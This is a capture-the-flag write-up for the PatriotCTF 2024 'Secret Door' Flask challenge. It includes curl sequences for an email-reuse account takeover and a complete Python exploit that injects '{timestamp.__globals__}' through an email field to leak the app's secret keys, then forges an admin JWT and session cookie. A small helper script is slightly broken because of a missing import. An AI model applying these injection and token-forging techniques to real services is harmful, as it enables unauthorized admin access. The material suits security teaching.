Skip to main content

PatriotCTF 2024 Secret Door Writeup

Published: September 5, 2026

Here's my writeup for the PatriotCTF 2024 Secret Door challenge.

Challenge notes

Secret Door 476 Medium

knock knock...

htp://chal.competitivecyber.club:1337

Author: sans909

Files

Download the dist.tar.xz challenge archive and unpack it with tar:

wget --content-disposition "https://pctf.competitivecyber.club/files/dd50b21c157f0ccd4ca7363853cfa1bb/dist.tar.zx?token=…"
tar -C secret_door/ -xv -f dist.tar.zx

Here's what's in the challenge archive:

dist/
dist/build-docker.sh
dist/challenge/
dist/challenge/app.py
dist/challenge/blueprints/
dist/challenge/blueprints/api_routes.py
dist/challenge/blueprints/web_routes.py
dist/challenge/config.py
dist/challenge/database.py
dist/challenge/requirements.txt
dist/challenge/run.py
dist/challenge/static/
dist/challenge/templates/
dist/challenge/templates/403.html
dist/challenge/templates/404.html
dist/challenge/templates/admin.html
dist/challenge/templates/base.html
dist/challenge/templates/home.html
dist/challenge/templates/login.html
dist/challenge/templates/personal-logs.html
dist/challenge/templates/register.html
dist/challenge/templates/update-email.html
dist/challenge/util.py
dist/config/
dist/config/supervisord.conf
dist/Dockerfile
dist/entrypoint.sh

First, format all files with ruff:

ruff format secret_door/dist/**.py

Build and run the challenge app server with Podman:

podman rm -f secret_door
podman build -f secret_door/dist/Dockerfile -t secret_door
podman run -p 1337:1337 --rm --replace --name secret_door secret_door

Landing page of secret door
Landing page of secret door Open in new tab (full image size 15 KiB)

Sign up and log in with Email "admin@localhost" and Password "password".

/home path shown after logging in
/home path shown after logging in Open in new tab (full image size 11 KiB)

CSS escape game and email updates

The app contains a fun CSS game that you can mess around with:

CSS escape game
CSS escape game Open in new tab (full image size 7 KiB)

Cheat and solve the puzzle using the Firefox accessibility inspector:

Solved puzzle
Solved puzzle

There's an /update-email site that lets you update your email address:

/update-email lets you update your email
/update-email lets you update your email Open in new tab (full image size 6 KiB)

Your email address changes show up on /update-logs:

When an email address is updated, /update-logs shows the changes
When an email address is updated, /update-logs shows the changes Open in new tab (full image size 7 KiB)

Find out what to do

What do we have to do? When you open /admin, it renders the flag inside the admin.html template in this admin_home function:

# dist/challenge/blueprints/web_routes.py
@web.route("/admin")
@is_admin
def admin_home():
    flag = current_app.config["FLAG"]
    return render_template("admin.html", flag=flag)

Here's what's in the admin.html template:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Page</title>
</head>
<body>
    <h1>Admin Page</h1>
    {% if flag %}
        <p>The flag: {{ flag }}</p>
    {% else %}
        <p>The flag is disabled.</p>
    {% endif %}
</body>
</html>

You can make the admin_home as long as you convince the app that you're an administrator. How do you become administrator?

The is_admin() decorator checks whether the session contains a valid JWT with the role set to admin. This means your JWT needs to attain the admin role. Note the verify_JWT(token) function call:

# dist/challenge/util.py
def is_admin(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = session.get("auth")
        if not token:
            return abort(401, "Unauthorized access detected!!")

        decoded_token = verify_JWT(token)
        if decoded_token["role"] != "admin":
            return abort(401, "Unauthorized access detected!!")

        return f(*args, **kwargs)

    return decorator

Here's how the app generates JWT with create_JWT(email, role) and verifies them with verify_JWT(token):

def generate_key(x):
    return os.urandom(x).hex()


FLASK_SECRET_KEY = generate_key(256)
jwt_key = generate_key(256)


def create_JWT(email: str, role="regular"):
    utc_time = datetime.datetime.now(datetime.UTC)
    token_expiration = utc_time + datetime.timedelta(minutes=1000)
    data = {"email": email, "exp": token_expiration, "role": role}
    encoded = jwt.encode(data, jwt_key, algorithm="HS256")
    return encoded


def verify_JWT(token):
    try:
        token_decode = jwt.decode(token, jwt_key, algorithms="HS256")
        return token_decode
    except:
        return abort(401, "Invalid authentication token!")

The app stores the JWT in your session. Here's an example:

.eJwVjUsOgjAABe_CAQj_BHdIaGmFIio_d5ZiKFRCgmCK8e7C9mVm3ld5zO9WOSiNxC2FNU84RtmKdMLRhIaLXfvIQf1Y5j521Q0StAAj3ccX6Gkh5rg_TtQgm9wutZnyyMeiCT2edIEZd5VNukqSW7rF8EJhth_Ie8F0CoFEg6ZG4hNpgQ2WmFmu0T0Xa7Yok55DSpHH7FQFYbReU3gWmfL7AzaROow.Zu5_jg.W_AapJkLcuyp7cwLt00MOU7VmsE

Take a look at this SQL INSERT statement in entrypoint.sh. Note the users table, the admin user insertion, and the insert_user stored procedure:

mysql -u root << EOF
-- …
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    email VARCHAR(255) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL,
    role ENUM('admin', 'regular') DEFAULT 'regular'
);
-- …
-- create one admin user
INSERT INTO
    users (email, password, role)
VALUES
    ('admin@competitivecyber.club', '${ADMIN_PASSWORD}', 'admin');
-- …
-- create a stored procedure for adding
-- more users
CREATE PROCEDURE insert_user (
    IN p_email VARCHAR(255),
    IN p_password VARCHAR(255)
)
BEGIN
    INSERT INTO users (email, password) VALUES (p_email, p_password);
-- …
EOF

The insert_user stored procedure creates users with email and password. Since it doesn't state a user role, all users except the admin user have a regular role.

Could you maybe change your user's address to become the administrator's email address "admin@competitivecyber.club"? Unlikely: the update_user_email procedure checks if emails are taken and outputs "The new email address is already in use.":

CREATE PROCEDURE update_user_email (
    IN p_old_email VARCHAR(255),
    IN p_new_email VARCHAR(255)
)
BEGIN
    -- Check if the new email is already in use
    IF EXISTS (SELECT 1 FROM users WHERE email = p_new_email) THEN
        -- Throw an error indicating the email is already in use
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'The new email address is already in use.';
    ELSE
        -- Update email if not in use
        UPDATE users
        SET email = p_new_email
        WHERE email = p_old_email;
    END IF;
END

Find out what happens and create one test user, then sign up with a second test user and try to take over the first test user's email address.

This creates the first user:

# First register
curl -v http://localhost:1337/api/register \
    --json '{"email":"test@localhost","password":"password"}'
# Then log in
curl -v http://localhost:1337/api/login \
    --json '{"email":"test@localhost","password":"password"}' \
    --cookie-jar secret_door/cookie.jar
# Review logs
curl -v http://localhost:1337/api/view-logs --cookie secret_door/cookie.jar

Here's what calling curl to sign up, log in, and view your logs at view-logs prints:

[...]
> POST /api/login HTTP/1.1
[...]
* upload completely sent off: 48 bytes
< HTTP/1.1 302 FOUND
< Server: Werkzeug/3.0.4 Python/3.11.10
< Date: Sat, 21 Sep 2024 10:53:52 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 197
< Location: /home
< Vary: Cookie
< Set-Cookie: session=.eJwVzEkOgkAQQNG7cADDIAjusBVSRCASEHRnt0MXs6ChwXh3cfvy8z_S5f3i0lq6jR6nLsMQPUgmUAKEHupIZwQMKNrsSDxrMUclTZ2W_rGOSqZFNnWt_JSKhmqBDDjgOeMD5I0IJlDDmKn-1h_3xBupKsrZkVXH-poKznAeHhpMzd6Wu00Y7rKS0nxJRD1lQaVWT2P1uFex0qFemE4ifX-p9jqG.Zu6lwA.BLb4tzmvc8WB3Y8S92qAM0cbcVU; HttpOnly; Path=/
< Connection: close
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/home">/home</a>. If not, click the link.
[...]
> POST /api/login HTTP/1.1
[...]
* upload completely sent off: 48 bytes
< HTTP/1.1 302 FOUND
[...]
< Set-Cookie: session=.eJwVzN0KgjAYgOF78QKiJlZ2Fkr6TZ0h_nYSbUqbzSlo-BPde3b68PJ-tMd74NpJq2bMqcNEKDAkC-yIgB5UZDAL9vDq8tTC5maNJM0uHf2jiiTTozN1zLrIppbqZAtiFLecj1C3E1kAhTFDgZ0g38IzRZNcXbAmVWU2cSbWYRy4sdz6irtVrGZ-8Gx9cUgj7_haFGXCj7RPDY_WzyHQvj-WhDp9.Zu6l2A.kNWFfQIVE21iWpqJTSU1NezI_pM; HttpOnly; Path=/
[...]
[...]
> GET /api/view-logs HTTP/1.1
[...]
[]
[...]

The api/view-logs requests prints an empty list [].

Create a second user with more curl calls:

curl http://localhost:1337/api/register \
    --json '{"email":"test2@localhost","password":"password"}'
curl http://localhost:1337/api/login \
    --json '{"email":"test2@localhost","password":"password"}' \
    --cookie-jar secret_door/cookie_2.jar
curl http://localhost:1337/api/view-logs --cookie secret_door/cookie_2.jar

Similar output:

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/home">/home</a>. If not, click the link.
[]

Change the email for the second user:

curl http://localhost:1337/api/update-email \
    --json '{"email":"test2-changed@localhost"}' \
    --cookie secret_door/cookie_2.jar

That invalidates the cookie, effectively logging you out. Log in again and review the second user's logs:

curl http://localhost:1337/api/login \
    --json '{"email":"test2-changed@localhost","password":"password"}' \
    --cookie-jar secret_door/cookie_2_chg_email.jar
curl http://localhost:1337/api/view-logs \
    --cookie secret_door/cookie_2_chg_email.jar

Here's the response for /api/view-logs:

{"log_date":"Sat, 21 Sep 2024 10:58:59 GMT","log_text":"Email updated to test2-changed@localhost at 2024-09-21 10:58:59"}]

To confirm that the first user can't see this log, query the logs again as the first user with the secret_door/cookie.jar cookie jar:

curl  http://localhost:1337/api/view-logs --cookie secret_door/cookie.jar

The logs are empty, as expected:

[]

Decode the user's cookie jar with this decode_cookie.py script:

from itsdangerous import URLSafeTimedSerializer
import json
import zlib
import base64

def decode_jwt(token):
    header, payload, signature = token.split('.')

    def decode_base64_url(data):
        # Correct padding issues and decode from base64
        data += '=' * (-len(data) % 4)  # Padding might be missing, so it's added here
        return base64.urlsafe_b64decode(data.encode()).decode()

    # Decoding from base64
    decoded_header = decode_base64_url(header)
    decoded_payload = decode_base64_url(payload)

    return json.loads(decoded_header), json.loads(decoded_payload)

def decode_part(payload: str) -> dict | None:
    """."""
    # Base64 decode
    try:
        base64_payload = base64.urlsafe_b64decode(payload + '==')  # Padding might be required
    except Exception as e:
        return None

    # Attempt to decompress if compressed, assuming Flask default compression
    try:
        decompressed_payload = zlib.decompress(base64_payload)
    except:
        decompressed_payload = base64_payload  # If not compressed or decompression fails, use the original

    # Deserialize using Flask's default serializer
    serializer = TaggedJSONSerializer()
    try:
        deserialized_data = serializer.loads(decompressed_payload)
        return deserialized_data
    except Exception as e:
        return None

def decode_flask_cookie_without_secret(cookie):
    # Split the cookie into payload and signature parts
    for payload in cookie.split("."):
        print(f"{payload=}")
        decoded = decode_part(payload)
        if decoded is None:
            continue
        print(f"{decoded=}")

        if 'auth' in decoded:
            auth = decoded["auth"]
            print(decode_jwt(auth))

cookie = input()
decoded_cookie = decode_flask_cookie_without_secret(cookie)
print(decoded_cookie)

Run on the cookie.jar cookie jar:

tail -n1 cookie.jar | cut -f 7 | poetry run python decode_cookie.py

Output:

payload=''
payload='eJwVzN0KgjAYgOF78QKiJlZ2Fkr6TZ0h_nYSbUqbzSlo-BPde3b68PJ-tMd74NpJq2bMqcNEKDAkC-yIgB5UZDAL9vDq8tTC5maNJM0uHf2jiiTTozN1zLrIppbqZAtiFLecj1C3E1kAhTFDgZ0g38IzRZNcXbAmVWU2cSbWYRy4sdz6irtVrGZ-8Gx9cUgj7_haFGXCj7RPDY_WzyHQvj-WhDp9'
decoded={'auth': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAbG9jYWxob3N0IiwiZXhwIjoxNzI2OTc2MDU2LCJyb2xlIjoicmVndWxhciJ9.TMHTl0LnhHeTnyh7KD3zGNml_JPYYdUh8bsV5KbjgtM'}
({'alg': 'HS256', 'typ': 'JWT'}, {'email': 'test@localhost', 'exp': 1726976056, 'role': 'regular'})
payload='Zu6l2A'
payload='kNWFfQIVE21iWpqJTSU1NezI_pM'
None

If you have a JWT for your previous email address and someone else takes that email address, you can take over their account:

set old_cookie secret_door/cookie_old.jar
set new_cookie secret_door/cookie_new.jar

set email "test"(openssl rand -hex 8)"@localhost"
set new_email "new-$email"
set new_new_email "new-$new_email"
printf "email: %s, new_email: %s" $email $new_email

curl http://localhost:1337/api/register \
    --json '{"email":"'$email'","password":"password"}'
curl http://localhost:1337/api/login \
    --json '{"email":"'$email'","password":"password"}' \
    --cookie-jar $old_cookie
tail -n1 $old_cookie
curl http://localhost:1337/api/view-logs --cookie $old_cookie | jq
echo "Retrieved logs before updating email"
curl http://localhost:1337/api/update-email \
    --json '{"email":"'$new_email'"}' \
    --cookie $old_cookie -v
# Will fail because
# logs = query_db(log_query, (user["id"],), one=False)
# user has changed
curl http://localhost:1337/api/view-logs --silent --cookie $old_cookie

# But, we can maybe update the email
curl http://localhost:1337/api/update-email \
    --json '{"email":"'$new_new_email'"}' \
    --cookie $old_cookie -v

echo "Retrieved logs after updating email"
curl http://localhost:1337/api/login \
    --json '{"email":"'$new_email'","password":"password"}' \
    --cookie-jar $new_cookie
echo "Logged in with new cookie"
curl http://localhost:1337/api/view-logs --cookie $old_cookie | jq
curl http://localhost:1337/api/view-logs --cookie $new_cookie | jq

Here's how to update email addresses for other users:

set user_a secret_door/cookie_old.jar
set user_b secret_door/cookie_new.jar

set email_a "test"(openssl rand -hex 8)"@localhost"
set email_b "new-$email_a"
set email_c "new-$email_b"
set password_a "password_a"
set password_b "password_b"
printf "email_a: %s, email_b: %s" $email_a $email_b

curl http://localhost:1337/api/register \
    --json '{"email":"'$email_a'","password":"'$password_a'"}'
curl http://localhost:1337/api/login \
    --json '{"email":"'$email_a'","password":"'$password_a'"}' \
    --cookie-jar $user_a
echo "User a registered and logged in"

curl http://localhost:1337/api/update-email \
    --json '{"email":"'$email_b'"}' \
    --cookie $user_a -v
echo "Changed user a's email from $email_a to $email_b"

curl http://localhost:1337/api/register \
    --json '{"email":"'$email_a'","password":"'$password_b'"}'
curl http://localhost:1337/api/login \
    --json '{"email":"'$email_a'","password":"'$password_b'"}' \
    --cookie-jar $user_b
# curl http://localhost:1337/api/login \
#     --json '{"email":"'$email'","password":"password"}' \
#     --cookie-jar $user_b
echo "Other user signed up with old email $email_a"

echo "User b can retrieve logs:"
curl http://localhost:1337/api/view-logs --cookie $user_b | jq

curl http://localhost:1337/api/update-email \
    --json '{"email":"'$email_c'"}' \
    --cookie $user_a -v
echo "User a changed user b's email from $email to $email_c"

echo "User b can't retrieve logs:"
curl http://localhost:1337/api/view-logs --cookie $user_b | jq

Here's the vulnerability one more time:

  1. User a signs up with email a
  2. User a logs in and changes email to be email b
  3. User b signs up with email a
  4. User a can use old JWT to change user b's email to email c

It turns out that this is unrelated to solving the challenge since you can't alter the role field contained in the JWT.

Looking at hints again

From the challenge notes:

knock knock...

This could imply that there's a secret handshake you can perform.

The hint's in the unusual double formatting method chosen for the email update logging. Note the initial log_text = f"" assignment followed by log_text = log_text.format():

# dist/challenge/blueprints/api_routes.py
from util import (
    # …
    timestamp,
)
# …
@api.route("/update-email", methods=["POST"])
@is_authenticated
def update_email():
    # …
    log_text = f"Email updated to {new_email} at {update_date}"
    log_text = log_text.format(
        new_email=new_email, 
        timestamp=timestamp, 
        update_date=update_date
    )

timestamp is this function:

# dist/challenge/util.py
def timestamp():
    return datetime.now()

timestamp as part of the format string exposes its .__globals__ and you can retrieve jwt_key like this:

~/p/pctf2024!+(1)main$python3
Python 3.11.9 (main, Apr  2 2024, 08:25:04) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 1
>>> def b():
...     pass
...
>>> b.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'a': 1, 'b': <function b at 0x7fe0f3bafe20>}
>>> b.__globals__["a"]
1

If you create an account with email {timestamp.__globals__[jwt_key]}@localhost, you can make the log_text in update_email equal this:

Email updated to {timestamp.__globals__[jwt_key]} at $DATE

This in turn should become the following:

Email updated to $SECRET at $DATE

That doesn't quite work, though, since is_valid_email validates your email address like so:

# dist/challenge/util.py
def is_valid_email(email):
    # Don't support long emails addr
    if len(email) > 50:
        return False
    # Canonical email addresses according to RFC 5322
    email_regex = r'([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])'
    if re.fullmatch(email_regex, email, re.IGNORECASE):
        return True
    return False

Evaluate this regex with https://regex101.com. Set the delimiter to single quote ' and set the options to gmi. Enter this under Regular Expression:

([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])

Then this Test String matches:

hello{timestamp.__globals__}@world

But this Test String doesn't match:

hello{timestamp.__globals__[}@world

regex101.com lets you try the is_valid_email regular expression
regex101.com lets you try the is_valid_email regular expression Open in new tab (full image size 68 KiB)

That means that you can't immediately select the right value out of .__globals__ by indexing it with .__globals__[jwt_key]. Instead, you can still return all .__globals__. Craft an exploit script in secret_door/exploit.py:

#!/usr/bin/env python3
import os
from typing import Any
import requests
import re
import jwt
import flask
from flask import sessions

# HOST = "http://localhost:1337"
HOST = "http://chal.competitivecyber.club:1337/"

payload = "{timestamp.__globals__}"


def find_keys(src: str) -> tuple[str, str]:
    flask_secret_key_match = re.search(
        r"FLASK_SECRET_KEY&#39;: &#39;([0-9a-f]{512})&#39;,",
        src,
    )
    assert flask_secret_key_match
    flask_secret_key = flask_secret_key_match[1]
    print(f"{flask_secret_key=}")

    jwt_key_match = re.search(
        r"jwt_key&#39;: &#39;([0-9a-f]{512})&#39;,",
        src,
    )
    assert jwt_key_match
    jwt_key = jwt_key_match[1]

    print(f"{jwt_key=}")
    return flask_secret_key, jwt_key


def dump_jwt(
    token: str, jwt_key: str
) -> dict[Any, Any]:
    return jwt.decode(
        token, jwt_key, algorithms=["HS256"]
    )


def sign_jwt(
    jwt_dct: dict[Any, Any], jwt_key: str
) -> str:
    return jwt.encode(
        jwt_dct, jwt_key, algorithm="HS256"
    )


def dump_session(
    session: str, secret_key: str
) -> dict[Any, Any]:
    app = flask.Flask("example")
    app.secret_key = secret_key

    # https://stackoverflow.com/a/42289001
    serializer = sessions.SecureCookieSessionInterface().get_signing_serializer(
        app
    )
    assert serializer
    return serializer.loads(session)


def serialize_session(
    session: dict[Any, Any], secret_key: str
) -> str:
    app = flask.Flask("example")
    app.secret_key = secret_key

    # https://stackoverflow.com/a/42289001
    serializer = sessions.SecureCookieSessionInterface().get_signing_serializer(
        app
    )
    assert serializer
    return serializer.dumps(session)


def main():
    rand_id = os.urandom(4).hex()
    email = f"h0usedust-{rand_id}@localhost"
    password = "pwned"
    s = requests.Session()
    registered = s.post(
        f"{HOST}/api/register",
        json={
            "email": email,
            "password": password,
        },
    )
    assert registered.ok
    print(f"Registered as {email}")
    logged_in = s.post(
        f"{HOST}/api/login",
        json={
            "email": email,
            "password": password,
        },
    )
    assert logged_in.ok
    print(f"Logged in as {email}")

    new_email = f"{payload}-{rand_id}@localhost"
    assert len(new_email) <= 50
    changed_email = s.post(
        f"{HOST}/api/update-email",
        json={
            "email": new_email,
        },
    )
    assert changed_email.ok
    print(f"Changed email to {new_email}")
    logged_in = s.post(
        f"{HOST}/api/login",
        json={
            "email": new_email,
            "password": password,
        },
    )
    assert logged_in.ok
    print(f"Logged in as {new_email}")
    logs = s.get(f"{HOST}/api/view-logs")
    assert logs.ok

    secret_key, jwt_key = find_keys(logs.text)
    session_cookie = s.cookies["session"]
    session = dump_session(
        session_cookie, secret_key
    )
    jwt_raw = session["auth"]
    jwt = dump_jwt(jwt_raw, jwt_key)
    jwt = {**jwt, "role": "admin"}
    print(f"New jwt: {jwt}")
    jwt_raw = sign_jwt(jwt, jwt_key)
    session = {**session, "auth": jwt_raw}
    session_cookie = serialize_session(
        session, secret_key
    )
    s.cookies.clear()
    s.cookies["session"] = session_cookie

    admin = s.get(f"{HOST}/admin")
    assert admin.ok
    flag_match = re.search(
        r"The flag: (.+)</p>", admin.text
    )
    assert flag_match
    flag = flag_match[1]
    print(f"The flag is {flag}")


if __name__ == "__main__":
    main()

Run it with Poetry:

# in secret_door/
poetry add requests
touch exploit.py
chmod +x exploit.py
poetry run ./exploit.py

First, change the email to a malicious email and see what globals the response contains:

Globals dumped
Globals dumped

This is the text you need to match (ordering may be different)

FLASK_SECRET_KEY&#39;: &#39;c9…3d&#39;, &#39;jwt_key&#39;: &#39;2b…6f&#39;,

Here's a successful exploit run:

Registered as h0usedust-4fa19abc@localhost
Logged in as h0usedust-4fa19abc@localhost
Changed email to {timestamp.__globals__}-4fa19abc@localhost
Logged in as {timestamp.__globals__}-4fa19abc@localhost
flask_secret_key='b5…9e'
New jwt: {'email': '{timestamp.__globals__}-4fa19abc@localhost', 'exp': 1727030330, 'role': 'admin'}
The flag is pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}

Flag found
Flag found

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index